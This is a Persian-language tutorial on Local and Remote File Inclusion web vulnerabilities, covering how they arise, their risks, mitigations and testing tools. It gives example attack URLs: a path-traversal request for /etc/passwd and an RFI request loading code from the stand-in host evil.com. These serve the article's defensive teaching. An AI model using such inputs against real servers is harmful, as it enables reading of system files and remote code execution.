آسیبپذیریهای File Inclusion: راهنمای کامل Local و Remote
آسیبپذیریهای File Inclusion یکی از خطرناکترین نوع آسیبپذیریهای امنیت وب هستند که میتوانند به مهاجمین اجازه دهند فایلهای محلی یا فایلهای مخرب از راه دور را در سرور بارگذاری و اجرا کنند. این آسیبپذیریها معمولاً در وبسایتها و برنامههایی که امکان بارگذاری فایلها یا فراخوانی فایلهای مختلف را دارند، رخ میدهند و میتوانند موجب سرقت اطلاعات حساس، اجرای کد دلخواه و در نهایت تسلط کامل بر سرور شوند.
۱. File Inclusion چیست؟
File Inclusion به معنای فراخوانی یک فایل توسط یک برنامه یا وبسایت است. بسیاری از زبانهای برنامهنویسی سمت سرور مانند PHP این قابلیت را دارند که فایلهایی را به صورت داینامیک بارگذاری کنند. اگر ورودی کاربر به درستی بررسی و محدود نشود، مهاجم میتواند فایلهای ناخواستهای را بارگذاری یا اجرا کند.
۲. انواع File Inclusion
دو نوع اصلی آسیبپذیری File Inclusion وجود دارد:
- Local File Inclusion (LFI): زمانی که مهاجم بتواند فایلهای محلی موجود روی سرور را فراخوانی یا خواند کند. به طور مثال، بارگذاری فایلهای حساس مثل فایلهای پیکربندی، فایلهای رمز عبور، و یا اجرای اسکریپتهای محلی.
- Remote File Inclusion (RFI): زمانی که مهاجم بتواند فایلهای مخرب را از یک سرور خارجی (از راه دور) بارگذاری کند. این حالت بسیار خطرناکتر است چون مهاجم میتواند کد دلخواه خود را به سرور تزریق و اجرا کند.
۳. چگونه آسیبپذیری LFI رخ میدهد؟
در آسیبپذیری LFI، معمولاً سایت اجازه میدهد که نام فایل به صورت داینامیک از ورودی کاربر دریافت شود، مثلاً از طریق پارامتر URL:
example.com/index.php?page=about.php
اگر برنامه به درستی ورودی را فیلتر نکند، مهاجم میتواند مقدار این پارامتر را به مسیر فایلهای حساس تغییر دهد:
example.com/index.php?page=../../../../etc/passwd
که منجر به خواندن فایلهای سیستمی میشود.
۴. چگونه آسیبپذیری RFI رخ میدهد؟
در RFI، سایت به جای بارگذاری فایلهای محلی، اجازه بارگذاری فایلهای از راه دور را میدهد، مثلا:
example.com/index.php?page=http://evil.com/malicious.txt
که در این حالت کد مخرب از سرور مهاجم بارگذاری و اجرا میشود.
۵. خطرات و تاثیرات File Inclusion
- خواندن فایلهای حساس و پنهان روی سرور.
- اجرای کد دلخواه مهاجم و کنترل کامل سرور.
- سرقت اطلاعات کاربران و دادههای حساس.
- ایجاد دسترسی پشتیبان (Backdoor) برای حملات آینده.
- تخریب و دستکاری فایلهای سیستم.
۶. روشهای پیشگیری و رفع آسیبپذیری File Inclusion
برای جلوگیری از این آسیبپذیریها باید اقدامات زیر را انجام دهید:
- فیلتر و اعتبارسنجی ورودیها: هر ورودی که برای بارگذاری فایل استفاده میشود را به دقت بررسی و محدود کنید.
- عدم استفاده مستقیم از ورودی کاربر برای مسیر فایل: بهتر است از لیست سفید (Whitelist) فایلهای مجاز استفاده کنید و فقط اجازه بارگذاری آنها را بدهید.
- غیرفعال کردن بارگذاری فایلهای از راه دور در PHP: تنظیم directive
allow_url_include
را در php.ini روی Off قرار دهید. - محدود کردن دسترسیها: سطح دسترسی فایلها و دایرکتوریها را به حداقل برسانید تا حتی در صورت رخ دادن LFI آسیب کمتری وارد شود.
- استفاده از توابع امنتر: به جای فراخوانی مستقیم فایلها با ورودی کاربر، از روشهای امنتر و کتابخانههای معتبر استفاده کنید.
- بهروزرسانی نرمافزار و CMS: اطمینان حاصل کنید که CMS، افزونهها و فریمورکهای شما به روز هستند و آسیبپذیریهای شناخته شده رفع شدهاند.
- نظارت و تحلیل لاگها: رفتارهای غیرعادی در درخواستها را بررسی و پاسخ دهید.
۷. ابزارها و روشهای تست File Inclusion
برای شناسایی این آسیبپذیریها میتوانید از ابزارهای زیر استفاده کنید:
- OWASP ZAP و Burp Suite: برای تست نفوذ و ارسال درخواستهای دستکاری شده.
- فازی تستینگ (Fuzzing): با ارسال ورودیهای مختلف غیرعادی مسیرها را تست کنید.
- ابزارهای خاص اسکن CMSها: مانند WPScan برای وردپرس و JoomlaScan برای جوملا که آسیبپذیریهای File Inclusion را گزارش میدهند.
۸. جمعبندی
آسیبپذیریهای File Inclusion، به ویژه LFI و RFI، میتوانند برای امنیت سایت بسیار خطرناک باشند و باید با دقت و دانش کامل شناسایی و رفع شوند. از آنجا که حملات میتوانند به اجرای کد دلخواه و دسترسی کامل به سرور منجر شوند، بهتر است همیشه ورودیهای فایل را کنترل کرده و از بهترین روشهای امنیتی استفاده کنید.
حفظ امنیت سایت با آگاهی و رعایت نکات مهم مانند فیلتر ورودیها، بهروزرسانی مستمر و محدودسازی دسترسیها میتواند شما را از خطرات جدی در امان نگه دارد.